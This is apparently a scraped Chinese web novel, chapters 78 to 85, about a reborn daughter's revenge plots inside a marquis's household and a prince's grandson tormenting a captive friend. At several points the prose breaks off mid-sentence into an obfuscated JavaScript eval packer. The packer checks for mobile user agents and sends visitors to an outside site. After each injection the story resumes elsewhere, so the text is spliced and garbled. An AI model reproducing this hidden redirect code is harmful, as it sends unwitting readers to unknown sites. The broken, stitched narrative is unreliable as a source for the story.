“大小姐身边的丫鬟?”阮寄薇有些惊讶。 她得了神秘人的暗示,勾搭上了定远侯。 入了侯府后,勤勤恳恳地勾引着定远侯,当一个合格的宠妾。 她虽然入府时间不长,但大小姐的事情她是一件没少听。 一个假千金,能混到如今这个地步,肯定不是省油的灯。她不来找茬的话,她是坚决不会去挑衅她的。 如今,她派人来找她做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642117|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? “让她进来吧。”阮寄薇压下心底的疑惑,命人将九栀请了进来。 “阮姨娘,我家小姐请你到玉澜院一趟。”九栀客客气气地开口。 看清她的脸,阮寄薇惊呼出声:“是你?” 一瞬间,她就想明白了。 神秘人是大小姐的丫鬟,那么安排她入侯府的就是大小姐了。 九栀点头:“阮姨娘,请。” 阮寄薇一颗心七上八下的,没敢多问,跟着九栀去了玉澜院。 一路上,好几次她都想开口询问九栀究竟是什么情况,但还是硬生生忍住了。 见到晏逐星时,她乖巧行礼:“见过大小姐。” “坐。”晏逐星语气十分温和。 见她不像是要对她痛下**的样子,阮寄薇悄悄在心里松了一口气。 九栀替她二人斟茶。 晏逐星却伸出手挡住了阮寄薇的杯子。 九栀和阮寄薇同时一愣。 “阮姨娘如今有了身孕,这茶性寒,可沾不得。”晏逐星的声音不疾不徐,却带着不容置疑的意味。 “身、身孕?”阮寄薇猛地抬头,眼中一片茫然,随即是难以置信的惊愕。 她哪来的身孕? 她们这等被精心调教过的女子,常年服用那掺了麝香的冷香丸,身子不可能有孕。 她早就绝了这份念想。 一旁的九栀见状,端着茶壶的手无声地收了回去。 晏逐星唇角噙着一抹若有似无的笑意,目光如针,直直刺向阮寄薇惶惑的眼底:“我说你有,你便有了。” 她忽地倾身向前,冰凉的手指骤然按在阮寄薇微微颤抖的手背上,力道不重,却带着千钧的压迫。 她一字一句,清晰地叩击在阮寄薇的心弦上: “我只问你,想不想……让你的儿子,坐上这定远侯府的世子之位?” 第79章 泼天的富贵 轰—— 阮寄薇只觉得一股热血直冲头顶,心跳如擂鼓,震得耳膜嗡嗡作响,仿佛下一刻就要挣出胸腔。 想! 她当然想! 只是,她做梦都不敢梦那么大的。 “大小姐不会是在跟妾身开玩笑吧?”阮寄薇的声音轻了下去,带着一种如在梦中的恍惚。 “本小姐从不开玩笑。”晏逐星气定神闲。 她这笃定的态度让阮寄薇扑通狂跳的心慢慢变得平静。 若她的儿子能当上定远侯府世子,她即便只是一个姨娘,那也可以母凭子贵了。 再也没有人能任意打骂发卖她了。 阮寄薇光是想想那个场景,就激动得浑身血液都在沸腾。 她倏然起身,深深拜伏于地,声音带着一丝不易察觉的战栗,却字字清晰:“从今往后,妾身愿听凭大小姐驱使,绝无二话!” 晏逐星弯腰将她搀扶起身。 “前提是你得有本事将这身孕扮得天衣无缝,瞒过所有人的眼。你只管演好你的戏,其余的,自有我来安排。” “倘若事情败露……” 听到这话,阮寄薇心头一紧,下意识地握紧了晏逐星的手。 晏逐星声音微沉,带着一丝不容置疑的冷意。 “只当今日之事从未提起。” “为了这泼天的富贵,你可敢赌上一赌?” 阮寄薇毫不迟疑地回答:“妾身敢赌。” “好,三日内,我要看到你的诚意。你有孕的事情,要让整个侯府都知晓,并且让他们彻底相信。”晏逐星给出了第一个考验。 “妾身定不让大小姐失望。”阮寄薇斗志昂扬。 原本她只想在侯府混吃等死到老,没想到,竟然还有这么一场大造化。 她当然要赌。 赌赢了,那就是一辈子享不尽的荣华富贵。 赌输了,大不了就重头再来,说不定下辈子她也能投生到富贵人家当千金大小姐。 她来时忐忑不安,离开时却精神抖擞,充满干劲。 目送她彻底离开后,九栀忍不住开口:“大小姐,您辛辛苦苦忙碌这么一遭,为何要给别人做嫁衣?” 她不理解。 大小姐费尽心思赶走了二小姐,又将大夫人害残,如今二少爷也瞎了,下一个恐怕就是大少爷了。 她原以为大小姐将侯府赶尽杀绝是为了侯府的富贵,如今看来,也不像呀。 大小姐究竟图什么? 晏逐星微微一笑,没有解释太多:“怎么会是给别人做嫁衣呢。放心吧,是我的,一个都少不了。” 按照她的计划。 晏家上下都得死。 晏明远与晏明修若是身亡,晏氏宗族岂会坐视侯府权柄旁落?他们定会倾尽全力,迫使定远侯从族中择一孩子过继,承袭爵位。 与其坐等他人染指,不如由她先手布局,将这儿子备下。 定远侯的亲骨血,纵是庶出,也比那过继来的外人强上百倍。 届时只需要将这孩子记于嫡母温如霜名下,充作嫡子,名分大义便唾手可得。 待到孩子长大可以袭爵,侯府里该是她的东西,她早就拿到手里。 没什么可担忧的。 更何况,她早已应允了那人,要为她家的孩子谋个好前程,保他一世锦衣玉食,安享尊荣。 她自然要说到做到。 * 温如霜这一闹,倒是让昭瑞亲王府的人没有再登门。 定远侯松了一口气,心中郁闷之气消散了不少。 但翌日上朝被**时,他就知道,他这口气还是松得太早了。 昭瑞亲王府那帮人,竟然把他的夫人惊马摔成残废那桩惨事也扯了出来。 他们声称当时定远侯府的马车失控,撞翻了道路旁好几家百姓的菜摊肉铺,锅碗瓢盆碎了一地,连一对孤儿寡母赖以为生的馄饨挑子也撞散了架。 事后侯府竟没赔一个铜板,任凭那些苦主自生自灭。 他们咬**定远侯是“恃爵凌民,目无王法”。 定远侯当即跪下大喊冤枉。 “陛下明鉴啊!当时臣的夫人惊马坠车,季太医亲诊,言其脊骨碎裂,此生恐难再立!” “臣心如刀绞,府中上下乱作一团,只求保住夫人性命,哪还顾得上旁的事情?” 他猛地抬起头,急急分辩道: “至于那些受损的摊铺,臣事后确实未曾听闻。想来是那些苦主见侯府闭门谢客,不敢上前讨要。此乃府中管事疏忽懈怠,未能及时处置。” “臣驭下不严,难辞其咎。陛下要罚,臣认罚!但那些莫须有的罪名,臣是绝对不会认的。” 昭瑞王府那帮人岂肯就此善罢甘休。 毕竟昭瑞亲王说了,一定要让定远侯府吃不了兜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“前日在国公府,听国公夫人无意间说起,每回国公爷觉得不痛快时,喝碗甜汤就会心情舒畅些。女儿想着,父亲或许也是一样的。” 她送甜汤来,为的就是套话。 她想知道今日朝堂上到底出了什么幺蛾子,能把定远侯气成这样。 第80章 他抛弃你了 “肯定是昭瑞亲王指使的!” 定远侯憋了一肚子的邪火,此刻瞧见晏逐星一脸关心,一时间没忍住就把朝堂上那点憋屈事抖落了个干净。 晏逐星垂着眼帘,安安静静听着。 见他气喘吁吁骂得告了一段落,她立刻眼疾手快地将温热的甜汤递了过去。 定远侯接过胡乱舀了一勺塞进嘴里。 那甜腻温热的液体滑下喉咙,浇灭了一点火气,让他觉得心里舒坦了不少。 就在这时,晏逐星幽幽地叹了口气:“唉……这事儿要是女儿做的,该多好。” “啊?” 定远侯含着一口汤,眼神发直,没反应过来她这话是什么意思。 晏逐星抬起眼,目光里掺着点无奈和心疼:“那女儿肯定立刻、麻溜地亲自去昭瑞亲王府门前磕头赔罪啊。不管他们说什么难听的话,女儿都受着。” “只求他们别再拿这些鸡毛蒜皮来烦扰父亲了。” 欣慰瞬间涌上心头。 定远侯老怀安慰,感动地看着晏逐星。 瞧瞧。 还是女儿好呀。 多懂事!多体贴! 对比之下,晏明修就显得格外的不懂事了。 他心中的邪火“噌”地又烧起来了,甚至比刚才还旺。 要是那小子能有星儿一半明白事理,有点眼力见,早早地自己滚去王府认错,把这事平了。 他堂堂一个侯爷,至于像现在这样丢人么。 定远侯将自己今日受的所有委屈全都记到了晏明修身上。 晏逐星趁机添油加醋,将晏明修架到火上烤:“不过如今为时也不晚。若是二哥愿意主动去王府探望谢世孙,想必王爷也能消气。” 定远侯有些迟疑:“可如今已经得罪了他们,再把你二哥送去……” “父亲此言差矣。”晏逐星摇了摇头。 “先前王爷让二哥去,是赔罪,如今我们主动登门,是二哥探望好友,怎么能是一回事呢。” “若谢世孙不分青红皂白,伤了二哥,那就是他们的不对了。咱们礼数周全,问心无愧。” 听了这话,定远侯一瞬间就想通了。 对啊,他怎么把这茬儿给忘了。 之前谢锦程和明修都是好友,于情于理,谢锦程受了伤,明修都该去探望的。 再说了,他也不是无权无势的平头百姓。 要是王府真敢伤他儿子,他立马就哭到皇上面前,把他们那套下三滥的**手段,原封不动地砸回他们脸上。 让他们也尝尝这“以其人之道还治其人之身”的滋味。 “还是星儿聪慧。”定远侯越看晏逐星越觉得满意。 果然孩子还是自己养大的好呀。 亲不亲生的,有什么关系。 孝顺懂事就好。 “多亏父亲教得好。”晏逐星笑眯眯地回应。 一句话夸得定远侯身心都舒畅了。 他命人将晏逐星送回了院子,而后去找了晏明修,让他即刻同他去昭瑞亲王府走一趟。 父子二**吵了一架。 最后不知道定远侯是怎么说服他的,晏明修最终答应了下来。 温如霜想阻止,但失败了。 毕竟这一回是晏明修亲自要求去的。 她担忧地看着定远侯和晏明修离去的身影,心头有些不安,但又无可奈何,最终只得躺在床上等他们的音信。 晏逐星回了玉澜院,九栀便附耳过来询问:“小姐,裴大人那边要动了吗?” “不急,让谢锦程再得意几日,先让晏明修吃点苦头。”晏逐星摇了摇头。 晏明修一旦踏入了昭瑞亲王府,想回来,可就不是那么简单的事情了。 昭瑞亲王或许会顾忌一些脸面,但被废掉的谢锦程就是个疯子。 他不会就这样让晏明修离开的。 果然,和晏逐星预料的一样。 定远侯带着晏明修上门时,昭瑞亲王客客气气地见了他们。 不一会儿,谢锦程的小厮就来请走晏明修,强调要“单独会见”。 “父亲。”晏明修有些紧张地盯着定远侯。 定远侯还没说话,昭瑞亲王就先开口了。 “你们是至交好友,如今锦程受了伤,心里郁闷,一蹶不振。你该好好开导开导他才是。” “王爷言之有理。明修,你去吧。父亲在这等你。”定远侯点了点头,没有阻拦。 箭在弦上不得不发,现在说离开也来不及了。 晏明修只能挤出一抹勉强的笑,跟着小厮去了谢锦程的院子里。 定远侯留在原地和昭瑞亲王闲谈。 话里话外都说的是今日**之事许是误会,之后还请王爷替他多多美言几句,莫要让同僚们误会了他。 昭瑞亲王笑笑,没答应也没拒绝。 约莫过了半个时辰,还不见晏明修回来,定远侯有些坐不住了。 他开口道别,提出要带儿子离开。 昭瑞亲王倒也没有阻拦,直接让人去接晏明修。 定远侯心下稍安。 没过多久,派去的小厮就气喘吁吁地跑了回来,躬身禀报: “回王爷、侯爷,少爷他心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不可能!” “父亲答应过我的,一定会带我回去!你骗我!” 谢锦程欣赏着他濒临崩溃的模样,喉咙里滚出一阵低沉扭曲的、令人毛骨悚然的愉悦笑声。 他俯下身,冰凉的手指恶意地抚过晏明修因恐惧而绷紧的脸颊,眼中翻涌着病态的餍足:“啧,真是天真得可怜啊。” 晏明修下意识地想要后退,但一动,才想起来自己被谢锦程捆住四肢,绑在了椅子上。 他额头一瞬间就冒出了细细密密的冷汗。 “你别过来,你想做什么?” 谢锦程当真如他所愿停住了动作。 他唇边勾起一个残忍的笑,拉长音调,说出了最诛心的话。 “你已经是个废人了,你父亲又怎会在乎你。” “他呀——” “抛弃你了。” 第81章 那就**吧 “你胡说!” 晏明修脱口而出。 他好后悔,他就不该来王府的。 “我是不是胡说,你很快就会知道了。”谢锦程恶劣地勾起嘴角。 话音刚落,门外传来昭瑞亲王威严的声音:“锦程,过来。” 谢锦程将晏明修留在了屋里,转身出去,恭敬地冲他行了一礼。 “见过祖父。” 昭瑞亲王盯着他,目光带着审视。 片刻后,方才开口:“锦程,他是定远侯的嫡子,你要注意分寸。” 谢锦程露出一抹温良无害的笑:“明修乃是我的挚友,我怎么舍得伤他?” 他语气轻快,带着一丝令人不寒而栗的亲昵。 “祖父放心。三日后,孙儿定将他全须全尾送回侯府。” 得了承诺,昭瑞亲王不再多言。 转身之际,晏明修嘶哑凄厉的求救声穿透门板而来。 “王爷!王爷救救我!我要见我爹!求您了王爷——!” 昭瑞亲王脚步微不可察地顿了顿。 随即,他仿佛什么也没听见,甩开衣袖,头也不回地快步离去。 谢锦程转身回了屋内,晏明修看到他逼近,紧张地咽了咽口水。 谢锦程面无表情地将先前从伤口换下来的纱布拿了过来。 他捏住晏明修的下巴,撬开他的嘴,将那纱布用力塞到了他的嘴里。 晏明修一想到那些纱布裹过谢锦程的什么地方,一瞬间就干呕了起来。 但嘴里塞着东西,他却什么都吐不出来。 “明修,你我乃是好友,我怎么会害你呢。我只想你陪陪我呀。”谢锦程只留下了这么一句话,便转身躺回床上去了。 他优哉游哉地命人搬来一座屏风,隔绝了晏明修的视线。 而后又命人请了京城最好的戏班子来,在他的院子里唱起了戏。 期间,晏明修试图用各种动静吸引谢锦程的注意力,但谢锦程都没有再搭理他。 晏明修从一开始的愤怒,到绝望,到最后的心如死灰。 院子里的戏唱了足足三个时辰。 直到夜幕降临,谢锦程仿佛才想起屋子里还有一个他。 他动手把晏明修嘴里的布扯掉。 布一离口,晏明修就“哇”地一声吐了出来。 谢锦程让人解开他手上的绳子,温柔地替他拍背:“明修,你若肯听话,我何至于这样对你。” 没想到,这一碰让晏明修吐得更凶了。 他猛地推开谢锦程的手。 “别碰我。” 他被绑得太久,手脚发软,这一推反倒让他摔进了先前吐出的那摊呕吐物里。 谢锦程眉头一锁,嫌恶地退开几步,冷冰冰道:“来人,把他架起来。弄干净,喂点吃的,别让他**。” 他吩咐完转身就进了旁边的屋子,再没回头,把晏明修一人丢在那里。 晏明修见他走了,强撑着爬起来就想往外冲。 可院门口的护卫“唰”地一声拔出刀剑,寒光刺眼。 他心里顿时明白,他走不掉的。 晏明修放弃了挣扎,跟着小厮去沐浴更衣。 这期间,他提心吊胆,生怕谢锦程会做出什么过激的事情来。 结果出乎他的意料,谢锦程竟然全程没有出现,也没有让人为难他。 他饿了一整日,在小厮端来饭菜时,犹豫了片刻后就大口大口地吃了起来。 吃过饭后,晏明修被请回了房间里。 谢锦程也没有出现。 他长长舒了一口气。 再忍两天,父亲一定会来带他回家的。 晏明修在心里暗暗给自己鼓劲。 但他心里装着事,躺在床上翻来覆去地睡不着,耳边总是萦绕着谢锦程白日里说的那些话—— “你已经是个废人了,你父亲又怎会在乎你。” “他呀……” “抛弃你了。” 不。 不会的。 父亲不会抛弃他的。 晏明修猛地从床上弹坐起来。 他的手下意识就摸向空洞洞的左眼窝,心像坠了块冰,直直地沉下去。 没错,他如今就是个废人,一个连眼珠子都保不住的废人。 父亲放弃他,好似理所应当。 他失魂落魄地爬起来,抓起桌上的茶壶就往嘴里灌。可奇了怪了,那茶水越喝,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她更没想到的是,儿子竟然拒绝跟她回侯府。 第82章 非人的对待 “明修,别犯傻,跟娘回家!”温如霜一把攥住儿子的手腕,想要用尽全身力气想把他从椅子上拽走。 晏明修下意识地瞟了旁边的谢锦程一眼。 四目相对之际,谢锦程嘴角噙着一丝冷笑,漫不经心地吹了声口哨。 “汪汪汪。” 窗外瞬间响起了一阵狗叫。 晏明修的脸色“唰”一下惨白如纸,整个人控制不住地抖了一下。 “娘!您先回!” 他的声音发紧,带着显而易见的颤音。 “我……我在王府再陪锦程些日子,等他想通了,我立刻回去!” “是不是有人欺负你了?你告诉娘!”温如霜看他这恐惧的模样,心都揪紧了,眼泪“啪嗒啪嗒”砸在晏明修的手背上。 她不顾晏明修的阻拦,猛地一把撩起他的宽袖。 却发现他双臂光洁,没有半点受伤的迹象。 随后她又急急忙忙扯开了他胸前的衣襟,依旧不见任何红痕淤青。 晏明修却像被烫到一样,推开了她。 他的声音陡然拔高,崩溃大叫了起来:“娘!求您了,您快回去,过些时日我自然会回府!” 窗外的狗叫声愈发激烈,晏明修的呼吸也变得急促了起来,他几乎要晕过去了。 温如霜看着儿子惨白脸上那近乎绝望的抗拒,知道再问不出什么。 她只能强压着翻江倒海的担忧,离开了王府。 任她想破脑袋都没想到,自己的儿子昨夜究竟遭遇了什么非人的对待。 待到她离开后,晏明修后背的衣裳已经被冷汗彻底浸透。 谢锦程露出满意的笑。 他摸了摸晏明修的脑袋,夸赞道:“真是一条听话的好狗。” 听到“狗”字,晏明修就想吐。 他想躲开他的手,但还是硬生生地按住了自己没有乱动。 昨夜之事,他永生难忘。 他彻底明白了,谢锦程就是个罔顾人伦的畜生,和这样的人没有任何道理可讲。 他恨不得将他杀之后快,但又无能为力。 谢锦程看着晏明修那副既恨毒了他、又干不掉他的憋屈模样,再也忍不住,爆出一阵刺耳的大笑。 他用力拍着自己的大腿,笑得前俯后仰,仿佛看到了天底下最好笑的猴戏。 笑够之后,他才开口:“晏明修,你后悔吗?” 晏明修咬紧了后槽牙,一言不发。 “后悔也没办法。谁让昨夜是你自己喝下的那壶茶呢。”谢锦程露出了幸灾乐祸的笑。 “就像你那日说的一样,谁叫我把你带去醉花楼的呢。若我不把你带过去,我今日就不会变成这个样子。” 提到自己的痛处,谢锦程脸上的笑瞬间消失,取而代之的是满脸阴毒与怨恨。 看到他这个样子,晏明修抖得更厉害了。 他不会又把他丢去和那条发了情的狗呆在一起吧。 见他抖成这个样子,谢锦程忽然觉得没什么意思。 太不经吓了。 还得想点新法子折磨他才行。 谢锦程嗤笑一声:“放心吧,我说了三日,那就是三日。你只要乖乖听话,我们就还是好兄弟。到时候,我自会送你回侯府。这些事情,我都会替你保密,保证不会让旁人知晓半分。” 晏明修绝望地闭上了眼睛。 还有两日。 只要再熬过两日,他就能回府继续当他的侯府二少爷了。 只不过,还没等他熬到第三日,谢锦程就被京兆府的人请走了。 晏明修心中的不安愈发浓重。 难不成是他的那些事情被传出去了,所以谢锦程被带走了? 他越想越害怕,两眼一黑,当场晕了过去。 * 玉澜院。 九栀快步走了进来。 “大小姐,王素娥已经拦住裴大人,将**交上去,且当场撞柱身亡了。” 晏逐星手中的笔一顿,笔尖的墨滴落在了纸上,将她先前写的字晕染开来。 自打谢锦程第一次约晏明修出门游玩的时候,她就命张小乙借着采冰的机会,暗中寻访那些曾被谢锦程戕害过的妇人。 按照上一世的情况,那卖鱼郎的娘子此时应当尚未落入谢锦程魔爪。 但像他这样视人命如草芥的畜生,手上沾染的血债绝不止卖鱼郎这一桩。 果然,张小乙没有让她失望。 真就揪出了谢锦程另一桩罪状。 三个月,他在醉花楼喝酒,错把来寻夫的妇人当做了楼里的姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第83章 也算是报应 “裴大人派人去调查了王素娥所言,已经将她的丈夫刘书叫到了京兆府。”九栀有条不紊地进行汇报。 “刘书一开始还想狡辩,但后来经不住裴大人的审问,老实交代了。” “他所言的和王素娥上交的**相差无几,唯有屠戮王家满门一事,他喊了冤。” “他说他只是去和昭瑞亲王府的管家提了一下,第二天王家就没了。这事真不是他干的。” “裴大人已经派人去把管家和谢锦程请过去了。” 晏逐星听完心里就有数了。 这事大概率最后就由王府管家来背锅。 谢锦程有皇室宗亲的身份庇护着,最多也就和上辈子一样,贬为庶人,圈禁于王府,终身不得外出。 虽然没能让他一命偿一命,但如今他不能再祸害其他良家妇女,一辈子人不人,鬼不鬼地活着。 倒也算是报应了。 “我知道了。”晏逐星点了点头,没有再问。 “后续的事情我们不要再插手,让裴明镜去查。” “好。”九栀点头答应了下来。 这时,门外传来了衔蝉的声音:“小姐,明日就是腊八节了,咱们是不是要煮些腊八粥送去国公府呀?” 晏逐星这才惊觉,时间过得飞快。 明日就是腊八节。 那再过不久,就是过年了。 她对上辈子的腊八节毫无印象,甚至连过年的记忆都有些模糊了。 晏明月被接回来之后,每一年过年都是她不愿回忆的噩梦。 如今她只记得上一世在军营里的最后一年,她和霍将军他们一块包饺子的场景。 将军夫人笑话她手握**、拉弓射箭的时候那么灵活,怎么到包饺子上边就笨手笨脚的了。 她不好意思反驳,讷讷低头拼命想要把饺子包好,却反倒让饺子胀破了肚皮,更加糟糕了。 将军次子霍开阳听到这话振振有词:“反正饺子下锅最后都要进肚里,长什么样不都一样,好吃就行。” 将军夫人气得抬手就给他一个脑瓜崩,霍开阳脑门上沾了一抹白,他也不恼,只是嘿嘿傻乐,夸他娘亲力气真大。 营帐里顿时充满了欢声笑语。 那是她为数不多的温暖时刻。 想到这,晏逐星忍不住弯了弯眉眼。 “小姐?”见她迟迟不吭声,衔蝉再次出声提醒。 “你教教我吧。煮好了,我亲自给国公府送去。”晏逐星开口。 这些日子她只顾着算计**,整个人一直绷紧得像一根弦。 如今心里竟莫名涌起一阵疲惫。 她想,或许她应该找点别的事情转移一下注意力。 先过个好年,等过完了年,再把定远侯府剩下的人给解决了。 “好呀。”听到她要学煮腊八粥,衔蝉笑眯眯地答应了下来。 晏逐星想了想,又吩咐了下人多采买一些食材,明日腊八节,她要去施粥。 就当是给王素娥祈福吧。 希望她来世能托生到一个好人家。 * 谢锦程被叫到了京兆府。 看着裴明镜,他依旧是一副不可一世的嚣张态度。 “裴大人,不过是一个王府帮工,也值得你这般大动干戈?”他将王素娥签下的契书扔了出来。 裴明镜捡起来细细查看,发现上边写的是:王素娥自愿受雇于昭瑞亲王府,负责内院针线杂役。 契约签的也是活契,签了半年。 “她跟管家哭诉想孩子所以要回家去,小爷我心善,便准她提前离开王府。这人怎么还倒打一耙呢。”谢锦程有备而来,并未惊慌。 “还有她那夫家,隔三岔五到王府要钱,管家早就烦不胜烦了。要不是看她可怜,有孩子要养,早把她赶出王府了。” 裴明镜听到他的辩解,没有意外。 这种事情谢锦程一定没少干,他肯定早就想好了退路。 “那贵府管家灭了王家满门一事,又该怎么说?”裴明镜把话题转移到了管家**身上。 “还有这等事情?”谢锦程露出了惊讶的神情,装作什么都不知道的样子。 “裴大人可有证据,莫不是误会了?” **是他祖父一手提拔上来的,在王府干了几十年,什么话该说什么话不该说,他心中定有分寸。 因而谢锦程不相信他会轻易吐口,让罪名落到他头上。 “自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“上回在醉花楼画舫上刺杀谢世孙的正是王素娥!” 刑部和大理寺的官员迟迟查不到真凶,又被昭瑞亲王不停地催促,忙得是焦头烂额,嘴角都急得长了燎泡。 如今王素娥的出现,正好解了他们的燃眉之急。 他们的理由十分充分: 那日射伤谢锦程的是女子,王素娥,女的。 对上了。 那人必定恨极了谢锦程,王素娥为了让谢锦程入狱,以命相告,可见对谢锦程是恨之入骨。 这也对上了。 再加上他们整理的所谓的王素娥“行踪图”,也能和谢锦程那日受伤的路线对上,他们就果断结案了。 反正那些日子王素娥被夫家所抛弃,娘家人又死光了,一心求死,见过她的人少之又少,他们随便编几条路线都死无对证。 谢锦程听到他们这荒谬的说法,面色沉沉。 他又不是瞎了。 自己睡了两个月的女人都认不出来。 那日的女子绝对不可能是王素娥。 他怒吼道:“可那日杀我之人明明说要针对的是晏明修!” 刑部尚书面不改色道:“许是怕您查到她头上,所以故意这么说。” “那还有她的同谋呢,那个会打鼓的小丫鬟?”谢锦程气得后槽牙都要咬碎了。 刑部尚书继续道:“是她的小妹。” “你们诓我也得用点心吧。”谢锦程气笑了。 “她娘家人不都死在了大半个月前的那场大火里了吗。” “王家的尸骨少了一具,想必就是她的小妹王素娟。”大理寺卿在一旁客客气气地补充。 “谢世孙请放心,我们一定会尽早将王素娟缉拿归案。”刑部尚书跟着点头。 两人态度毕恭毕敬,说话又句句有回应。 谢锦程一时间真是气都不知道该往哪里撒。 他敢随意折辱晏明修,却不能光明正大地动这两位朝廷要员。 因而只能铁青着脸,一言不发。 “辛苦二位大人了。”谢清安得了父亲的示意,赶忙出来将两人送走。 “不辛苦。此事还得上报陛下呢,我等就先行离开了。”两人也没有在王府过多的逗留,转身就走。 他们一走,谢锦程就大发脾气。 “您难道看不出来他们是在撒谎吗?” “撒谎又如何!此事横竖查不到真凶,他们迟早要拿无关紧要之人糊弄咱们。现在最要紧的是王素娥的事。”谢清安恨铁不成钢地看着儿子。 “这事瞒不住了,你祖父已经知道了,他让你过去见他。” 谢锦程抿着唇,满脸不服气,听到“王素娥”三个字,眼里的恨意更深。 “知道了。”他不情不愿地去见了昭瑞亲王。 * 刑部尚书和大理寺卿来到御书房时,谢翊宁也在。 “参见陛下,参见永安王。” 两人赶忙行礼。 “免礼。”文昭帝抬手示意他们起身。 “不知两位爱卿今日前来,所为何事啊。” 谢翊宁原本打算离开,却被刑部尚书一句话给留住了。 “微臣前来,乃是为了昭瑞亲王之孙谢锦程被刺杀一案而来。凶手已经找到了。” 谢翊宁不走了。 他正大光明地坐到了一旁的椅子上旁听。 两位大人已经见怪不怪,凭着皇上对永安王的溺爱,就算他现在躺地上听他们说话,皇上肯定也不会训斥他。 保不准还会夸他躺得真好看。 文昭帝有些惊讶地看着儿子,不是说要走么,怎么还留下来了。 “这茯苓糕真不错,就是有点噎。严公公,劳烦您给我添杯茶。”谢翊宁指了指自己空荡荡的杯子。 严公公看了皇帝一眼,就见他微微抬了抬下巴,目光落在了自己面前的那碟奶饽饽上。 严公公明白了。 皇上这是让他赶紧给永安王添茶,然后顺便把这奶饽饽也送过去,这个不噎。 见他端走后,文昭帝这才看向了两位大人。 “哦?凶手是何人?” 谢翊宁装作不经意,实际上早已竖起了耳朵。 不会吧不会吧。 他上回派照夜和停云去扫尾,他们说小恩人办事很利落,没有留下任何证据呀。 怎么这两人还能查到真凶? “凶手名唤王素娥,是京郊曹家村的一名村妇。”刑部尚书负责讲解。 他把事情的来龙去脉说了一遍。 谢翊宁听着顿时放下心来。 看样子这二位大人是找不到真凶,又被昭瑞亲王逼得没法子了,这才病急乱投医,把黑锅扣在了那个村妇身上。 “所以昭瑞亲王之孙强掳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看来王爷真是对晏大小姐情根深种。 想来等到明年大小姐及笄,他们就要有王妃了。 第85章 非卿不娶么 衔蝉正教晏逐星煮腊八粥,看守角门的管事娘子罗柳氏就来了。 “衔蝉姑娘,永安王府来人了,说要见你。” 衔蝉忙看向晏逐星,脱口而出:“奴婢最近都没和王府有联系。” 晏逐星见她这般紧张,微微弯了弯眉眼:“无妨。你去看看吧,许是有什么要紧事。” 衔蝉点头,洗干净了手,这才出去见人。 见到照夜,她有些惊讶。 “照夜大人,您来寻我是有什么事吗?” “上回王爷让你去找嬷嬷拿簪子,你没拿,所以便让我给你送了过来。”照夜掏出一支银簪递给了她。 衔蝉这才想起上回王爷要走了小姐给她的簪子,允诺让她挑,结果她急着回来**,就给忘了。 看着簪子她眉头微皱。 这簪子怎么那么粗糙,看起来就不像王府会出现的东西。 王爷也不像那么抠门的人啊。 怎么会拿这样的东西糊弄她? “很丑吗?”虽然看出了她眼里的嫌弃,但照夜还是忍不住问了出来。 “呵呵呵呵。谢谢啊。”衔蝉尴尬地笑了没有正面回答。 不回答就是最好的回答。 照夜懂了。 他雕刻了十多支簪子,认为这支最好看,原来还是入不了衔蝉姑娘的眼。 他还得练。 他本想将那支簪子收回,但又觉得再拿回来也不合适。 于是他又掏出了一支金簪:“拿错了,这才是王爷让我给你的。” 衔蝉眼睛瞬间亮了起来。 这支海棠花簪子可真好看。 她当即接过,笑道:“记得替我谢谢王爷。” 将两支簪子都收下后,她看向了照夜:“还有别的事吗,没有我就先回去了。我在教小姐煮腊八粥呢。” “腊八粥?明日可会送去王府?”照夜立刻尽职尽责地打听了起来。 “送王府做什么?”衔蝉一愣。 “小姐是要给烈国公府送。” 她说完顿时意识到照夜是在套话。 如今她是大小姐的人,断不能随意透露大小姐的想法。 她赶忙转移了话题。 “你们呢?最近在忙什么?明日王府可会煮腊八粥?” 